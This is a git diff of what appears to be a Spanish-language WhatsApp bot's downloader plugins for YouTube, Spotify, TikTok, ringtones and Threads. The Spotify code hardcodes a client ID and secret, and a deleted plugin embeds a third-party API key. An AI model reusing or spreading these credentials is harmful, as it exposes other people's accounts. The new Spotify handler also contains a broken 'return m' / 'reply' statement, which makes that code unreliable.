-previewType: 0, thumbnail: fs.readFileSync("./media/menus/Menu3.jpg"),
-sourceUrl: `https://github.com/GataNina-Li/GataBot-MD`}}})
-
-let res = await fetch("https://violetics.pw/api/media/youtube-play?apikey=beta&query="+text)
-//https://leyscoders-api.herokuapp.com/api/playmp3?q=lebih%20baik%20darinya&apikey=Your_Key
- //("https://api.dhamzxploit.my.id/api/ytplaymp3?text="+text)
-let json = await res.json()
-conn.sendFile(m.chat, json.result.url, 'error.mp3', null, m, false, { mimetype: 'audio/mp4' })}
-if (command == 'play.2') {
-conn.reply(m.chat, `${eg}𝙀𝙎𝙋𝙀𝙍𝙀 𝙐𝙉 𝙈𝙊𝙈𝙀𝙉𝙏𝙊 𝙀𝙇 𝙑𝙄𝘿𝙀𝙊 𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍\n\n𝙒𝘼𝙄𝙏 𝘼 𝙈𝙊𝙈𝙀𝙉𝙏 𝙁𝙊𝙍 𝙏𝙃𝙀 𝙑𝙄𝘿𝙀𝙊 𝙋𝙇𝙀𝘼𝙎𝙀`, m, {
-contextInfo: { externalAdReply :{ mediaUrl: null, mediaType: 1, description: null,
-title: '𝙂𝙖𝙩𝙖𝘽𝙤𝙩-𝙈𝘿 | 𝙂𝙖𝙩𝙖 𝘿𝙞𝙤𝙨',
-body: 'Super Bot WhatsApp',
-previewType: 0, thumbnail: fs.readFileSync("./media/menus/Menu3.jpg"),
-sourceUrl: `https://github.com/GataNina-Li/GataBot-MD`}}})
-
-let res = await fetch("https://violetics.pw/api/media/youtube-play?apikey=beta&query="+text)
-let json = await res.json()
-conn.sendFile(m.chat, json.result.url, 'error.mp4', `${wm}`, m)}
-}catch(e){
-m.reply(`${fg}𝙄𝙉𝙏𝙀𝙉𝙏𝙀 𝘿𝙀 𝙉𝙐𝙀𝙑𝙊\n𝙏𝙍𝙔 𝘼𝙂𝘼𝙄𝙉`)
-console.log(e)
-}}
-handler.help = ['play.1' , 'play.2'].map(v => v + ' ')
-handler.tags = ['downloader']
-handler.command = ['play.1', 'play.2']
-export default handler*/
diff --git a/plugins/descargas-playlist.js b/plugins/descargas-playlist.js
index a166db836..5f8ec4312 100644
--- a/plugins/descargas-playlist.js
+++ b/plugins/descargas-playlist.js
@@ -1,89 +1,50 @@
import yts from 'yt-search';
-import fs from 'fs';
-let handler = async (m, { conn, text, usedPrefix, command }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!text) return conn.reply(m.chat, `${lenguajeGB['smsAvisoMG']()}𝙀𝙎𝘾𝙍𝙄𝘽𝘼 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀 𝘿𝙀 𝙐𝙉 𝙑𝙄𝘿𝙀𝙊 𝙊 𝘾𝘼𝙉𝘼𝙇 𝘿𝙀 𝙔𝙊𝙐𝙏𝙐𝘽𝙀`, fkontak, m)
-try {
-let vids_ = {
-from: m.sender,
-urls: []
-}
-if (!global.videoList) {
-global.videoList = [];
-}
-if (global.videoList[0]?.from == m.sender) {
-delete global.videoList;
-}
-let results = await yts(text);
-let textoInfo = `${lenguajeGB['smsAvisoIIG']()}𝙋𝙐𝙀𝘿𝙀𝙎 𝘿𝙀𝙎𝘾𝘼𝙍𝙂𝘼𝙎 𝙀𝙇 𝙑𝙄𝘿𝙀𝙊 𝙌𝙐𝙀 𝙌𝙐𝙄𝙀𝙍𝘼𝙎 𝘿𝙀 𝙀𝙎𝙏𝘼 𝙁𝙊𝙍𝙈𝘼:
-${usedPrefix}video
-${usedPrefix}audio
-
-*𝙀𝙅𝙀𝙈𝙋𝙇𝙊:*
-*${usedPrefix}video 2*\n\n••••••••••••••••••••••••••••••••••••`.trim()
-let teks = results.all.map((v, i) => {
-let link = v.url;
-vids_.urls.push(link);
-return `[${i + 1}]\n❤️꙰༻ *TÍTULO:* ${v.title}
-⁖🩵꙰༻ *ENLACE:* ${v.url}
-⁖💜꙰༻ *DURACIÓN:* ${v.timestamp}
-⁖💚꙰༻ *SUBIDO:* ${v.ago}
-⁖🧡꙰༻ *VISTAS:* ${v.views}`}).join('\n\n••••••••••••••••••••••••••••••••••••\n\n')
-conn.sendFile(m.chat, results.all[0].thumbnail, 'yts.jpeg', textoInfo + '\n\n' + teks, fkontak, m)
-global.videoList.push(vids_);
-} catch {
-handler.limit = false
-}}
-handler.help = ['', 'earch'].map(v => 'yts' + v + ' ')
-handler.tags = ['tools']
-handler.command = /^playlist|ytbuscar|yts(earch)?$/i
-handler.exp = 70
-handler.limit = 1
-handler.level = 4
-export default handler
+let handler = async (m, { conn, usedPrefix, text, args, command }) => {
+if (!text) return m.reply(`*¿Qué está buscando?* Ingrese el nombre del tema\n*• Ejemplo*\n*${usedPrefix + command}* bad bunny`);
+m.react('📀');
+let result = await yts(text);
+let ytres = result.videos;
+if (!ytres.length) return m.reply('❌ No se encontraron resultados.');
+let textoo = `*• Resultados de:* ${text}\n\n`;
+for (let i = 0; i < Math.min(15, ytres.length); i++) {
+let v = ytres[i];
+textoo += `🎵 *Título:* ${v.title}\n📆 *Publicado hace:* ${v.ago}\n👀 *Vistas:* ${v.views}\n⌛ *Duración:* ${v.timestamp}\n🔗 *Enlace:* ${v.url}\n\n⊱ ────── {.⋅ ♫ ⋅.} ───── ⊰\n\n`;
+}
+await conn.sendFile(m.chat, ytres[0].image, 'thumbnail.jpg', textoo, m);
+};
+handler.help = ['playlist', 'yts'];
+handler.tags = ['downloader'];
+handler.command = ['playvid2', 'playlist', 'playlista', 'yts', 'ytsearch'];
+handler.register = true;
+export default handler;
-/*import yts from "yt-search"
-let handler = async (m, { text, conn, args, command, usedPrefix }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-if (!text) return conn.reply(m.chat, `${lenguajeGB['smsAvisoMG']()}𝙀𝙎𝘾𝙍𝙄𝘽𝘼 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀 𝘿𝙀 𝙐𝙉 𝙑𝙄𝘿𝙀𝙊 𝙊 𝘾𝘼𝙉𝘼𝙇 𝘿𝙀 𝙔𝙊𝙐𝙏𝙐𝘽𝙀\n\n𝙒𝙍𝙄𝙏𝙀 𝙏𝙃𝙀 𝙉𝘼𝙈𝙀 𝙊𝙁 𝘼 𝙔𝙊𝙐𝙏𝙐𝘽𝙀 𝙑𝙄𝘿𝙀𝙊 𝙊𝙍 𝘾𝙃𝘼𝙉𝙉𝙀𝙇`, fkontak, m)
-try {
-let search = await yts(args.join(" "))
-let listAudio = []
-let listVideo = []
-let listAudioDoc = []
-let listVideoDoc = []
-let teskd = `𝘽𝙪𝙨𝙦𝙪𝙚𝙙𝙖 𝙙𝙚 *${args.join(" ")}*`
-
-const sections = [{ title: comienzo + ' 𝗔 𝗨 𝗗 𝗜 𝗢 ' + fin, rows: listAudio },
-{ title: comienzo + ' 𝗩 𝗜 𝗗 𝗘 𝗢 ' + fin, rows: listVideo },
-{ title: comienzo + ' 𝗔 𝗨 𝗗 𝗜 𝗢 𝗗 𝗢 𝗖 ' + fin, rows: listAudioDoc },
-{ title: comienzo + ' 𝗩 𝗜 𝗗 𝗘 𝗢 𝗗 𝗢 𝗖 ' + fin, rows: listVideoDoc }]
-
-const listMessage = {
-text: teskd,
-footer: '𝙀𝙡𝙞𝙟𝙖 𝙨𝙪 𝘽𝙪𝙨𝙦𝙪𝙚𝙙𝙖 𝙥𝙖𝙧𝙖 𝙥𝙤𝙙𝙚𝙧 𝘿𝙚𝙨𝙘𝙖𝙧𝙜𝙖𝙧\n' + wm,
-title: `${htki} *𝙍𝙀𝙎𝙐𝙇𝙏𝘼𝘿𝙊𝙎* ${htka}`,
-buttonText: "🔎 𝗕 𝗨 𝗦 𝗖 𝗔 𝗥",
-sections}
+/*Codigo con la listas obsoleto
+import yts from 'yt-search';
+let handler = async (m, { conn, usedPrefix, text, args, command }) => {
+if (!text) return m.reply(`*Que esta buscado?* ingrese el nombre del tema\n*• Ejemplo*\n*${usedPrefix + command}* bad bunny `)
+m.react('📀');
+
+let result = await yts(text);
+let ytres = result.videos;
+let listSections = [];
+for (let index in ytres) {
+let v = ytres[index];
+listSections.push({title: `${index} | ${v.title}`,
+rows: [{header: '• • •「 🅐🅤🅓🅘🅞 」• • •', title: "", description: `▢ ⌚ Duración:* ${v.timestamp}\n▢ 👀 *Vistas:* ${v.views}\n▢ 📌 *Publicado* : ${v.title}\n▢ 📆 *Subidos:* ${v.ago}\n`, id: `${usedPrefix}fgmp3 ${v.url}`
+}, {
+header: "• • •「 🅥🅘🅓🅔🅞 」• • •", title: "" , description: `▢ ⌚ Duración:* ${v.timestamp}\n▢ 👀 *Vistas:* ${v.views}\n▢ 📌 *Publicado* : ${v.title}\n▢ 📆 *Subidos:* ${v.ago}\n`, id: `${usedPrefix}fgmp4 ${v.url}`
+}, {
+header: "• • •「 🅓🅞🅒🅤🅜🅔🅝🅣🅞🅢 🅜🅟❸ 」• • •", title: "" , description: `▢ ⌚ Duración:* ${v.timestamp}\n▢ 👀 *Vistas:* ${v.views}\n▢ 📌 *Publicado* : ${v.title}\n▢ 📆 *Subidos:* ${v.ago}\n`, id: `${usedPrefix}ytmp3doc ${v.url}` }, {
+header: "'• • •「 🅓🅞🅒🅤🅜🅔🅝🅣🅞🅢 🅜🅟❹ 」• • •", title: "" , description: `▢ ⌚ Duración:* ${v.timestamp}\n▢ 👀 *Vistas:* ${v.views}\n▢ 📌 *Publicado* : ${v.title}\n▢ 📆 *Subidos:* ${v.ago}\n`, id: `${usedPrefix}ytmp4doc ${v.url}`
+}]});}
+
+await conn.sendList(m.chat, `*• Resultados:* ${text}*\n\n> *ᴇʟɪᴊᴀ ᴀ ᴜɴᴀ ᴏᴘᴄɪᴏɴ ʏ ᴘʀᴇsɪᴏɴᴇ ᴇɴᴠɪᴀʀ*`, wm, `🚀 𝙍𝙀𝙎𝙐𝙇𝙏𝘼𝘿𝙊𝙎 🚀`, ytres[0].image, listSections, m);
+};
+handler.help = ['playlist', 'yts']
+handler.tags = ['downloader']
+handler.command = ['playvid2', 'playlist', 'playlista', 'yts', 'ytsearch']
+handler.register = true
-if (m.isGroup) return m.reply('*✳️ 𝙃𝙊𝙇𝘼 𝙀𝙎𝙏𝙄𝙈𝘼𝘿𝙊 𝙐𝙎𝙐𝘼𝙍𝙄𝙊(𝘼), 𝙎𝙐 𝙋𝙀𝙍𝘿𝙄𝘿𝙊 𝙃𝘼 𝙎𝙄𝘿𝙊 𝙀𝙉𝙑𝙄𝘼𝘿𝙊 𝘼 𝙎𝙐 𝘾𝙃𝘼𝙏 𝙋𝙍𝙄𝙑𝘼𝘿𝙊, 𝙀𝙎𝙏𝙊 𝘾𝙊𝙈𝙊 𝙎𝙊𝙇𝙐𝘾𝙄𝙊𝙉 𝙏𝙀𝙈𝙋𝙊𝙍𝘼𝙇 𝘼 𝙀𝙍𝙍𝙊𝙍𝙀𝙎 𝘿𝙀 𝙈𝙀𝙉𝙎𝘼𝙅𝙀 𝘾𝙊𝙉 𝘽𝙊𝙏𝙊𝙉𝙀𝙎 𝙏𝙄𝙋𝙊 𝙇𝙄𝙎𝙏𝘼𝙎 𝙌𝙐𝙀 𝙉𝙊 𝙎𝙊𝙉 𝙑𝙄𝙎𝙄𝘽𝙇𝙀𝙎 𝙀𝙉 𝙇𝘼𝙎 𝙑𝙀𝙍𝙎𝙄𝙊𝙉𝙀𝙎 𝙈𝘼𝙎 𝙍𝙀𝘾𝙄𝙀𝙉𝙏𝙀𝙎 𝘿𝙀 𝙒𝙃𝘼𝙏𝙎𝘼𝙋𝙋*')
-} catch {
-try {
-for (let i of search.all) {
-listAudio.push({title: i.title, description: `${i.author.name} | ${i.timestamp}`, rowId: `${usedPrefix}ytmp3 ${i.url}`})
-listAudioDoc.push({title: i.title, description: `${i.author.name} | ${i.timestamp}`, rowId: `${usedPrefix}ytmp3doc ${i.url}`})
-listVideo.push({title: i.title, description: `${i.author.name} | ${i.timestamp}`, rowId: `${usedPrefix}ytmp4 ${i.url}`})
-listVideoDoc.push({title: i.title, description: `${i.author.name} | ${i.timestamp}`, rowId: `${usedPrefix}ytmp4doc ${i.url}`})}
-conn.sendMessage(m.chat, listMessage, { quoted: fkontak })
-if (m.isGroup) return m.reply('*✳️ 𝙃𝙊𝙇𝘼 𝙀𝙎𝙏𝙄𝙈𝘼𝘿𝙊 𝙐𝙎𝙐𝘼𝙍𝙄𝙊(𝘼), 𝙎𝙐 𝙋𝙀𝙍𝘿𝙄𝘿𝙊 𝙃𝘼 𝙎𝙄𝘿𝙊 𝙀𝙉𝙑𝙄𝘼𝘿𝙊 𝘼 𝙎𝙐 𝘾𝙃𝘼𝙏 𝙋𝙍𝙄𝙑𝘼𝘿𝙊, 𝙀𝙎𝙏𝙊 𝘾𝙊𝙈𝙊 𝙎𝙊𝙇𝙐𝘾𝙄𝙊𝙉 𝙏𝙀𝙈𝙋𝙊𝙍𝘼𝙇 𝘼 𝙀𝙍𝙍𝙊𝙍𝙀𝙎 𝘿𝙀 𝙈𝙀𝙉𝙎𝘼𝙅𝙀 𝘾𝙊𝙉 𝘽𝙊𝙏𝙊𝙉𝙀𝙎 𝙏𝙄𝙋𝙊 𝙇𝙄𝙎𝙏𝘼𝙎 𝙌𝙐𝙀 𝙉𝙊 𝙎𝙊𝙉 𝙑𝙄𝙎𝙄𝘽𝙇𝙀𝙎 𝙀𝙉 𝙇𝘼𝙎 𝙑𝙀𝙍𝙎𝙄𝙊𝙉𝙀𝙎 𝙈𝘼𝙎 𝙍𝙀𝘾𝙄𝙀𝙉𝙏𝙀𝙎 𝘿𝙀 𝙒𝙃𝘼𝙏𝙎𝘼𝙋𝙋*')
-} catch {
-}}}
-handler.help = ['', 'earch'].map(v => 'yts' + v + ' ')
-handler.tags = ['tools']
-handler.command = /^playlist|ytbuscar|yts(earch)?$/i
-handler.exp = 70
-handler.limit = 1
-handler.level = 4
export default handler
*/
diff --git a/plugins/descargas-pptiktok.js b/plugins/descargas-pptiktok.js
deleted file mode 100644
index 5463b2f93..000000000
--- a/plugins/descargas-pptiktok.js
+++ /dev/null
@@ -1,14 +0,0 @@
-import fetch from 'node-fetch'
-let handler = async (m, { conn, args, text, command, usedPrefix }) => {
-if (!text) throw `𝙀𝙨𝙘𝙧𝙞𝙗𝙖 𝙚𝙡 𝙣𝙤𝙢𝙗𝙧𝙚 𝙙𝙚 𝙪𝙨𝙪𝙖𝙧𝙞𝙤 𝙙𝙚 𝙩𝙞𝙠𝙩𝙤𝙠
-𝙎𝙞𝙣 𝙪𝙨𝙖𝙧 "@"\n𝙀𝙟𝙚𝙢𝙥𝙡𝙤\n*${usedPrefix + command} mundo_dos_animes81*`
-let res = `https://api.lolhuman.xyz/api/pptiktok/${text}?apikey=9b817532fadff8fc7cb86862`
-await conn.sendFile(m.chat, res, 'error.jpg', `✅ 𝙁𝙤𝙩𝙤 𝙙𝙚 𝙥𝙚𝙧𝙛𝙞𝙡*${text}*`, m, false)
-
-}
-handler.help = ['tiktokfoto'].map(v => v + ' ')
-handler.tags = ['downloader']
-handler.command = /^(tiktokfoto|tiktokphoto)$/i
-handler.limit = 1
-handler.exp = 68
-export default handler
diff --git a/plugins/descargas-ringtone.js b/plugins/descargas-ringtone.js
deleted file mode 100644
index be256c610..000000000
--- a/plugins/descargas-ringtone.js
+++ /dev/null
@@ -1,21 +0,0 @@
-import fetch from 'node-fetch'
-let handler = async(m, { conn, groupMetadata, usedPrefix, text, args, command }) => {
-if (!text) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙏𝙀𝙓𝙏𝙊 𝙌𝙐𝙀 𝘿𝙀𝙎𝙀𝙀 𝘽𝙐𝙎𝘾𝘼𝙍\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊: ${usedPrefix + command} Hola*`
-let anu = await ringtone(text)
-let result = anu[Math.floor(Math.random() * anu.length)]
-conn.sendMessage(m.chat, { audio: { url: result.audio }, fileName: result.title+'.mp3', mimetype: 'audio/mpeg' }, { quoted: m })}
-handler.command = ['ringtone']
-handler.money = 100
-handler.level = 2
-handler.register = true
-export default handler
-async function ringtone(title) {
-return new Promise((resolve, reject) => {
-axios.get('https://meloboom.com/es/search/'+title).then((get) => {
-let $ = cheerio.load(get.data)
-let hasil = []
-$('#__next > main > section > div.jsx-2244708474.container > div > div > div > div:nth-child(4) > div > div > div > ul > li').each(function (a, b) {
-hasil.push({ title: $(b).find('h4').text(), source: 'https://meloboom.com/'+$(b).find('a').attr('href'), audio: $(b).find('audio').attr('src') })
-})
-resolve(hasil)})})}
-
diff --git a/plugins/descargas-spotify.js b/plugins/descargas-spotify.js
index 2363e272c..43cd79fc2 100644
--- a/plugins/descargas-spotify.js
+++ b/plugins/descargas-spotify.js
@@ -1,92 +1,152 @@
-import fetch from 'node-fetch'
-import Spotify from "spotifydl-x"
-import fs from 'fs'
-let handler = async(m, { conn, usedPrefix, command, text }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let frep = { contextInfo: { externalAdReply: {title: wm, body: author, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(gataMenu.getRandom())).buffer() }}}
-if (!text) return await conn.reply(m.chat, `${lenguajeGB.smsMalused2()} ⊱ *${usedPrefix + command} ozuna*`, fkontak, m)
-try {
-let resDL = await fetch(`https://api.lolhuman.xyz/api/spotifysearch?apikey=${lolkeysapi}&query=${text}`)
-let jsonDL = await resDL.json()
-let linkDL = jsonDL.result[0].link
-let spty = await spotifydl(linkDL)
-const getRandom = (ext) => {
-return `${Math.floor(Math.random() * 10000)}${ext}`}
-let randomName = getRandom(".mp3")
-const filePath = `./tmp/${randomName}`
-fs.writeFileSync(filePath, spty.audio)
-let spotifyi = `╭┄〔 *${wm}* 〕┄⊱-
-┆
-┆✨ *TITULO:* » *${spty.data.name}*
-┆~~••~~••~~••~~••~~~~
-┆🗣️ *ARTISTA:* » *${spty.data.artists}*
-┆~~••~~••~~••~~••~~~~
-┆🌐 *URL*: » *${linkDL}*
-┆~~••~~••~~••~~••~~~~
-┆🎶 *Enviando canción...*
-╰────────────────`
-await conn.sendFile(m.chat, spty.data.cover_url, 'error.jpg', spotifyi, fkontak, m)
-await conn.sendMessage(m.chat, { audio: fs.readFileSync(`./tmp/${randomName}`), fileName: `${spty.data.name}.mp3`, mimetype: "audio/mp4", }, { quoted: m })
-} catch (e) {
-await conn.reply(m.chat, `${lenguajeGB['smsMalError3']()}#report ${usedPrefix + command}\n\n${wm}`, fkontak, m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)
-handler.limit = false
-}}
-handler.command = /^(spotify|music)$/i
-handler.limit = 1
-handler.level = 3
-export default handler
-
-const credentials = { clientId: 'acc6302297e040aeb6e4ac1fbdfd62c3', clientSecret: '0e8439a1280a43aba9a5bc0a16f3f009' }
-const spotify = new Spotify.default(credentials)
-async function spotifydl(url) {
-const res = await spotify.getTrack(url).catch(() => {
-return { error: 'Fallo la descarga' }})
-return { data: res, audio: await spotify.downloadTrack(url) }}
-
-
-/*import fetch from 'node-fetch'
-import fs from 'fs'
-
-let handler = async(m, { conn, text, usedPrefix, command }) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let frep = { contextInfo: { externalAdReply: {title: wm, body: author, sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(gataMenu.getRandom())).buffer() }}}
-if (!text) return await conn.reply(m.chat, `${lenguajeGB.smsMalused2()} ⊱ *${usedPrefix + command} Bellyache*`, fkontak, m)
- //conn.sendButton(m.chat, lenguajeGB.smsMalused2(), `⊱ *${usedPrefix + command} Bellyache*`, null, [[lenguajeGB.smsConMenu(), `${usedPrefix}menu`]], fkontak, m)
-try {
-let res = await fetch(`https://api.lolhuman.xyz/api/spotifysearch?apikey=${lolkeysapi}&query=${text}`)
-let json = await res.json()
-let { link } = json.result[0]
-let res2 = await fetch(`https://api.lolhuman.xyz/api/spotify?apikey=${lolkeysapi}&url=${link}`)
-let json2 = await res2.json()
-let { thumbnail, title, artists } = json2.result
-
-let spotifyi = `✨ *TITULO:*
-_${title}_
-
-🗣️ *ARTISTA:*
-» _${artists}_
-
-🌐 *URL*:
-» _${link}_
-
-💚 *URL DE DESCARGA:*
-» _${json2.result.link}_
-
-🎶 *Enviando canción...*
-${wm}`
-
-conn.sendFile(m.chat, thumbnail, 'error.jpg', spotifyi, fkontak, m)
-//await conn.sendButton(m.chat, '🎧 *S P O T I F Y* 🎧', spotifyi, thumbnail, [[lenguajeGB.smsConMenu(), `${usedPrefix}menu`]], m, frep)
-let aa = await conn.sendMessage(m.chat, { audio: { url: json2.result.link }, fileName: `error.mp3`, mimetype: 'audio/mp4' }, { quoted: m })
-if (!aa) return conn.sendFile(m.chat, json2.result.link, 'error.mp3', null, m, false, { mimetype: 'audio/mp4' })
-} catch (e) {
-await conn.sendButton(m.chat, `\n${wm}`, lenguajeGB['smsMalError3']() + '#report ' + usedPrefix + command, null, [[lenguajeGB.smsMensError1(), `#reporte ${lenguajeGB['smsMensError2']()} *${usedPrefix + command}*`]], m)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)
-}}
-handler.command = /^(spotify|music)$/i
-handler.limit = 1
-handler.level = 3
-export default handler*/
+import axios from 'axios';
+import fetch from 'node-fetch';
+import search from 'yt-search';
+const userMessages = new Map();
+const userRequests = {};
+
+let handler = async (m, { conn, text, usedPrefix, command }) => {
+if (!text) return m.reply(`*🤔 ¿Que esta buscando? ingresa el nombre para descargar sus música de Spotify, Ejemplo:* ${usedPrefix + command} ozuna`)
+if (userRequests[m.sender]) return await conn.reply(m.chat, `⚠️ Hey @${m.sender.split('@')[0]} pendejo, ya estás descargando una canción 🙄\nEspera a que termine tu descarga actual antes de pedir otra. 👆`, userMessages.get(m.sender) || m)
+userRequests[m.sender] = true;
+m.react(`⌛`);
+try {
+const spotify = await fetch(`${info.apis}/search/spotify?q=${text}`);
+const song = await spotify.json();
+if (!song.data || song.data.length === 0) return m
+reply('⚠️ No se encontraron resultados para esa búsqueda.')
+const track = song.data[0];
+const spotifyMessage = `*• Título:* ${track.title}\n*• Artista:* ${track.artist}\n*• Álbum:* ${track.album}\n*• Duración:* ${track.duration}\n*• Publicado:* ${track.publish}\n\n> 🚀 *ᴱⁿᵛᶦᵃⁿᵈᵒ ᶜᵃⁿᶜᶦᵒ́ⁿ ᵃᵍᵘᵃʳᵈᵉ ᵘⁿ ᵐᵒᵐᵉⁿᵗᵒ....*`;
+const message = await conn.sendMessage(m.chat, { text: spotifyMessage,
+contextInfo: {
+forwardingScore: 1,
+isForwarded: true,
+externalAdReply: {
+showAdAttribution: true,
+containsAutoReply: true,
+renderLargerThumbnail: true,
+title: track.title,
+body: "ᴱⁿᵛᶦᵃⁿᵈᵒ ᶜᵃⁿᶜᶦᵒ́ⁿ ᵃᵍᵘᵃʳᵈᵉ ᵘⁿ ᵐᵒᵐᵉⁿᵗᵒ 🚀",
+mediaType: 1,
+thumbnailUrl: track.image,
+mediaUrl: track.url,
+sourceUrl: track.url
+}}}, { quoted: m });
+userMessages.set(m.sender, message);
+
+const downloadAttempts = [async () => {
+const res = await fetch(`https://api.siputzx.my.id/api/d/spotify?url=${track.url}`);
+const data = await res.json();
+return data.data.download;
+},
+async () => {
+const res = await fetch(`${info.apis}/download/spotifydl?url=${track.url}`);
+const data = await res.json();
+return data.data.url;
+}];
+
+let downloadUrl = null;
+for (const attempt of downloadAttempts) {
+try {
+downloadUrl = await attempt();
+if (downloadUrl) break;
+} catch (err) {
+console.error(`Error in attempt: ${err.message}`);
+continue;
+}}
+
+if (!downloadUrl) throw new Error('No se pudo descargar la canción desde ninguna API');
+await conn.sendMessage(m.chat, { audio: { url: downloadUrl }, fileName: `${track.title}.mp3`, mimetype: 'audio/mpeg', contextInfo: {} }, { quoted: m });
+m.react('✅️');
+} catch (error) {
+m.reply(`\`\`\`⚠️ OCURRIO UN ERROR ⚠️\`\`\`\n\n> *Reporta el siguiente error a mi creador con el comando:* #report\n\n>>> ${error} <<<< `);
+console.log(error);
+m.react('❌');
+handler.limit = false;
+} finally {
+delete userRequests[m.sender];
+}};
+handler.help = ['spotify'];
+handler.tags = ['downloader'];
+handler.command = /^(spotify|music)$/i;
+handler.register = true;
+handler.limit = 1;
+
+export default handler;
+
+async function spotifyxv(query) {
+ let token = await tokens();
+ try {
+ let response = await axios({
+ method: 'get',
+ url: 'https://api.spotify.com/v1/search?q=' + query + '&type=track',
+ headers: {
+ Authorization: 'Bearer ' + token,
+ },
+ });
+ const tracks = response.data.tracks.items;
+ const results = tracks.map((track) => ({
+ name: track.name,
+ artista: track.artists.map((artist) => artist.name),
+ album: track.album.name,
+ duracion: timestamp(track.duration_ms),
+ url: track.external_urls.spotify,
+ imagen: track.album.images.length ? track.album.images[0].url : '',
+ }));
+ return results;
+ } catch (error) {
+ console.error(`Error en spotifyxv: ${error}`);
+ return [];
+ }
+}
+
+async function tokens() {
+ try {
+ const response = await axios({
+ method: 'post',
+ url: 'https://accounts.spotify.com/api/token',
+ headers: {
+ 'Content-Type': 'application/x-www-form-urlencoded',
+ Authorization: 'Basic ' + Buffer.from('acc6302297e040aeb6e4ac1fbdfd62c3:0e8439a1280a43aba9a5bc0a16f3f009').toString('base64'),
+ },
+ data: 'grant_type=client_credentials',
+ });
+ return response.data.access_token;
+ } catch (error) {
+ console.error(`Error en tokens: ${error}`);
+ throw new Error('No se pudo obtener el token de acceso');
+ }
+}
+
+function timestamp(time) {
+ const minutes = Math.floor(time / 60000);
+ const seconds = Math.floor((time % 60000) / 1000);
+ return minutes + ':' + (seconds < 10 ? '0' : '') + seconds;
+}
+
+async function getBuffer(url, options) {
+ try {
+ options = options || {};
+ const res = await axios({
+ method: 'get',
+ url,
+ headers: {
+ DNT: 1,
+ 'Upgrade-Insecure-Request': 1,
+ },
+ ...options,
+ responseType: 'arraybuffer',
+ });
+ return res.data;
+ } catch (err) {
+ return err;
+ }
+}
+
+async function getTinyURL(text) {
+ try {
+ let response = await axios.get(`https://tinyurl.com/api-create.php?url=${text}`);
+ return response.data;
+ } catch (error) {
+ return text;
+ }
+}
\ No newline at end of file
diff --git a/plugins/descargas-stickerpack.js b/plugins/descargas-stickerpack.js
deleted file mode 100644
index 13bd04acf..000000000
--- a/plugins/descargas-stickerpack.js
+++ /dev/null
@@ -1,19 +0,0 @@
-/* By https://github.com/ALBERTO9883/NyanCatBot-MD */
-import fetch from 'node-fetch'
-import { sticker } from '../lib/sticker.js'
-let handler = async (m, { conn, text, usedPrefix, command }) => {
-if (!text) throw `*[❗] Ejemplo de uso del comando ${usedPrefix + command}* https://getstickerpack.com/stickers/flork-memes-4-1`
-try {
-let url = text
-let res = await fetch(`https://api.akuari.my.id/downloader/stickerpack?link=${url}`)
-let json = await res.json()
-for (let data of (json.result || json)) {
-const stikers = await sticker(false, data, global.packname, global.author)
-conn.sendFile(m.chat, stikers, null, { asSticker: true }, m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': true }}, { quoted: m })
-await delay(5000)
-}} catch {
-await m.reply('*[❗] 𝙴𝚁𝚁𝙾𝚁, 𝙿𝙾𝚁 𝙵𝙰𝚅𝙾𝚁 𝚅𝚄𝙴𝙻𝚅𝙰 𝙰 𝙸𝙽𝚃𝙴𝚁𝙽𝚃𝙰𝚁𝙻𝙾*')
-}}
-handler.command = /^stickerpack$/i
-export default handler
-const delay = time => new Promise(res => setTimeout(res, time))
diff --git a/plugins/descargas-threads.js b/plugins/descargas-threads.js
new file mode 100644
index 000000000..0fcc86443
--- /dev/null
+++ b/plugins/descargas-threads.js
@@ -0,0 +1,58 @@
+import fetch from 'node-fetch'
+const userRequests = {};
+
+const handler = async (m, { conn, args, usedPrefix, command }) => {
+if (!args[0]) return m.reply(`*⚠️ ¿Qué estás buscando? Ingresa el link de algún video de Threads!!*\n*• Ejemplo:*\n${usedPrefix + command} https://www.threads.net/@adri_leclerc_/post/C_dSNIOOlpy?xmt=AQGzxbmyveDB91QgFo_KQWzqL6PT2yCy2eg8BkhPTO-6Kw`)
+
